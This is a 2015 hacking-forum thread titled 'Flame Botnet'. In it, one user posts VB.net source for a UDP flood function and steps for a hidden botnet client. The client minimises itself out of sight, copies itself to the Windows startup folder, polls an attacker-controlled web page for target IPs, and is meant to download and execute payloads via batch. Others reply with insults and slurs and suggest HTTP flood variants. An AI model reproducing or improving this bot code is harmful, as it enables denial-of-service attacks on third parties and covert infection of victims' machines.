Thread: [Flame Botnet \[Stop buying DoS/DDoS only bot sources lol\]](#)

Duk. - November 30, 2015, 9:55 am

Will fix it up but enjoy the C+P it's UD atm too xD

Spoiler ([Click to View](#))Code Public Function UdpFlood(ByVal ip As String, ByVal Port As String, ByVal data As String)

```
Dim udpClient As New UdpClient
Dim eyePee As IPAddress
Dim ByteCmd As Byte() = New Byte() {}
eyePee = IPAddress.Parse(ip)
udpClient.Connect(ip, Port)
ByteCmd = Encoding.ASCII.GetBytes(data)
Do Until 1 = 2
    udpClient.Send(ByteCmd, ByteCmd.Length) '
Loop
```

End FunctionDouble click form 1 on load enable timer1 set interval to 10. Enable it. Hide from taskbar, start minimized, size to 0.0, make it move to startup folder in windows. Paste this into your timer.

```
Code Imports System.Net
Timer.Timer (blah blah)
ip = WebRequest.Create("yoursite.com/yourpage")
if ip = * Then
    realip = ip
else
    realip = 0
end if
end sub
```

Oh yeah and too make it super l33t add a system to make it so if it's not a number as the first char it will download and execute via batch.

Joshmills - November 30, 2015, 9:56 am

omg kid stop posting stupid shit you ugly fuck

Duk. - November 30, 2015, 9:56 am

You're clearly genius.

Josh? - November 30, 2015, 9:57 am

That's... Retarded. ?

Duk. - November 30, 2015, 9:58 am

It's also UD and not retarded simply as it runs in a non-socket based system. For VB.net it's more efficient than shitty dos only bots lol

Was there even a need to post this?
kinda pointless.

C0ld Zero - November 30, 2015, 9:59 am

You should improve it :(HTTP ddos method)

Get
Post
Header
Refer
Agent
Keep-alive connection :)

Yeah ahha I just made it while at school using C+P to prove a point lol

Odus - November 30, 2015, 11:54 am

2/10 for effort.
